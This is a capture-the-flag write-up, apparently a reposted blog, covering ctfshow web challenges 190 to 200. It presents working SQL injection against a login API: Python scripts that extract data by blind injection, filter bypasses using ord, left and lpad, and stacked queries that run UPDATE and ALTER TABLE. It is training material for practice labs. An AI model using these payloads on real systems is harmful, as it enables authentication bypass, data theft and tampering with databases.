ctfshow(web190-web200)

2023-12-20 14:29:28

目录

web190

web191

web192

web193

web194

web195

web196

web197

web198

web199

web200


web190

为什么要有admin呢 这也是试出来的 这个admin必须是数据库中存在的 这样才能使用布尔注入 因为这个时候登录 有两种返回结果 一种密码错误 一种就是用户名错误

admin' and '1'='1 密码错误

admin' and '1'='2 用户名不存在

判断出存在注入点

admin' and '1'='1 密码错误 返回值8bef

admin' and '1'='2 用户名不存在 返回值 5728

以上可以证明出可以使用布尔注入 当and后为1为一个页面?当and后为0为一个页面

username=admin'and (ascii(substr((select f1ag from ctfshow_fl0g),1,1))<100)#&password=0

返回值8bef 也就是and后语句返回1

username=admin'and (ascii(substr((select f1ag from ctfshow_fl0g),1,1))<99)#&password=0

返回值 5728?也就是and后语句返回0

以上就能确定可以进行布尔注入了

python脚本 使用二分法(这个脚本很强 二分法速度特别快,该脚本可以为二分法的模板,在大师傅给出的脚本中我修改了部分内容 使得可以按照输出 更容易理解代码)

import requests
url = "http://320af8bf-8a87-4f48-a37b-8838174bdcd1.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
    max = 127 #ascii最大值
    min = 32  #ascii最小值
    while 1:#无限循环
        mid = (max+min)>>1 #相当于除2向下取整
        print("第{}波 max={}min={} mid={} ".format(i,max,min,mid))
        if(min == mid):#相等也就代表min+1=max  max=100min=99 mid=99 这个时候max=100返回值为1 min=99返回值为0 这就能证明ascii为99 该值为c
            flag += chr(mid)
            print(flag)
            break
        # payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
        # 当前数据库 ctfshow_web
        # payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
        # 当前数据表 ctfshow_fl0g和ctfshow_user
        # payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
        # 当前字段名 id,f1ag
        # payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)
        # 获取flag
        payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)
        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        if res.text.find("8bef")>0:#返回值为1 <100 将该值设置为max
            max = mid
        else:                      #返回值为0 <99 将该值设置为min
            min = mid
    if mid == 32:# 如果mid的值等于空格 结束最外层循环
        print("flag={}".format(flag))
        break

得出flag

web191

用户名不能有file into和ascii 不能写文件和使用ascii值的方式进行判断

我的第一想法是换成hex 然后再通过hex解密得到原有字符串 但是发现hex中如果是z结果就是7a出现了两个字符无法判断 那就是使用替换 经过查找资料发现ORD和ASCII效果一样

将ascii修改为ord即可

web192

ord也被禁用了 hex也被禁用了

那就不用函数 直接判断字符是哪一个

username=admin'and (substr((select database()),1,1)='c')#&password=0

python脚本?

自己写的

import requests
url = "http://54b31325-2269-4d5c-a739-68fe13091b24.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789 "
for i in range(1,60):
    for x in flagdic:
        payload = "admin'and (substr((select f1ag from ctfshow_fl0g),{},1)='{}')#".format(i,x)
        data = {
             "username":payload,
                "password":0,
         }
        res = requests.post(url = url,data =data)
        if res.text.find("8bef")>0:
            if x == " ":# 其实这个if有没有都一个意思 我只是不想多输出一次flag
                break
            flag+=x
            print(flag) 
            break
    if x == " ": # 如果遍历到字典的最后的空格 就退出循环代表结束
        break

成功获取flag

web193

substr都过滤了

那就换一个函数使用left 也能做到substr的效果

python脚本 这里的数据表变成了ctfshow_flxg

import requests
url = "http://395fe6cb-9803-4905-a7a6-b4bdd6622d45.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        # payload = "admin'and (left((select database()),{})='{}')#".format(i,flag+x)
        # 当前数据库 ctfshow_web
        # payload = "admin'and (left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{}))='{}'#".format(i,flag+x)
        # 当前数据表 ctfshow_flxg 之前表名为fl0g 现在为flxg
        # payload = "admin'and (left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{}))='{}'#".format(i,flag+x)
        # 当前字段名 id,flag
        payload = "admin'and (left((select f1ag from ctfshow_flxg),{}))='{}'#".format(i,flag+x)
        # 获取flag
        data = {
             "username":payload,
                "password":0,
         }
        res = requests.post(url = url,data =data)
        if x == " ":
            a = 1
            break
        if res.text.find("8bef")>0:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

flg

注意一点 占位符{}要加上单引号

web194

left也被禁用了

早就在mysql文档中找函数 搜索关键字的方式

使用lpad替换left函数 本地先测试一下

确定一下固定语句

直接修改web193脚本

注意

在本地的时候

select lpad('abc',1,"") 用的是双引号 脚本中要用单引号 因为 整个语句字符串用的是双引号 范冲突

import requests
url = "http://ad864e5b-c99c-4b15-b2d7-7e95b7858527.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        payload = "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')='{}'))#".format(i,flag+x)
        # 获取flag
        data = {
             "username":payload,
                "password":0,
         }
        res = requests.post(url = url,data =data)
        if x == " ":
            a = 1
            break
        if res.text.find("8bef")>0:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

输出flag

web195

过滤了很多 本地测试了一些 select和|都被禁用了?

跟着大师傅思路走 直接使用update更新pass 这样所有的pass都被修改为已知的?

(前提依旧是已知一个用户admin)

pass已知后 就能通过这个语句

使用叠加注入 更新所有密码

通过回显去浏览器查找 显示用户名不存在 估计是执行成功了

账号admin和密码1怎么还是不行

原因:在sql语句中 $username 没有使用引号 数据库中的admin是字符串 条件中admin必须用单引号引起来 但是引号被过滤了 那就使用弱类型的方式吧 所有字符转换成整数都是0

用户为0 密码为1 得到flag

web196

用户名不能超过16个字符?

这道题目的select虽然写的是被过滤了,但是实际并没有被过滤。
(根据群里的反馈,说群主本来是打算把过滤select写成se1ect,但是忘记改了。不过select也并没有被过滤)

可以用select绕过password的if判断。

判断条件满足的设定是$row[0]==$password,$row存储的是结果集中的一行数据,$row[0]就是这一行的第一个数据。
既然可以堆叠注入,就是可以多语句查询,$row应该也会逐一循环获取每个结果集。

那么可以输入username为1;select(9),password为9。当$row获取到第二个查询语句select(9)的结果集时,即可获得$row[0]=9,那么password输入9就可以满足条件判断。
?

web197

这次select彻底被过滤了 并且update也被过滤了

方法1

利用show。根据题目给的查询语句,可以知道数据库的表名为ctfshow_user,那么可以通过show tables,获取表名的结果集,在这个结果集里定然有一行的数据为ctfshow_user。

用户名:1;show tables
密码:ctfshow_user?

有个缺点如果ctfshow_user表不在row【0】的位置那就会失败

注意为什么admin;show tables会查询失败 换成数字就好 因为admin必须使用单引号才可以 但是单引号被过滤了

方法2

更新不可以的话 那就删表 建表

web198

创建删除用不了了?

方法一 非预期的方式 默认密码usernameAUTO 密码passwordAUTO(非预期没什么用)

因为是字符 必须使用单引号但是单引号被过滤了 所以这个非预期的方式不能用

方法二?本题依然可以使用上个题目的方法一show tables

方法三 修改表的结构在已知有一个默认用户名为userAUTO的情况下,这里可以考虑列名互换。 已知两个列名 username和pass 将两个列名互换?

0;alter table ctfshow_user change `username` `passw` varchar(100);alter table ctfshow_user change `pass` `username` varchar(100);alter table ctfshow_user change `passw` `pass` varchar(100);

注意为什么用户名0可以 1不可以 我估计是密码是个字符串 本地测试一下

web199

方法一:本题依然可以使用show tables

方法二:本题过滤了括号,限制了之前payload中的varchar(100),可以改为text。

varchar(100)限制了存储的字符数量最多为100个字符,适合存储较短的密码或字符串。

text类型则允许存储更长的文本数据,但可能会占用更多的存储空间,并且在处理和索引方面可能不如varchar类型高效,特别是对于非常大的文本值。然而,如果你确定密码不会超过几百万个字符(这在实际情况中是非常罕见的),那么使用text类型也是可以的。在大多数情况下,为了节省空间和提高效率,使用varchar类型更适合存储密码。

0;alter table ctfshow_user change `username` `passw` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `passw` `pass` text;

web200

多过滤了逗号 对我们无影响

web199的两种方法 还有一种方法前几关也能用 已知默认密码为passAUTO 用户名的位置是0

文章来源:https://blog.csdn.net/m0_72125469/article/details/135088746
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。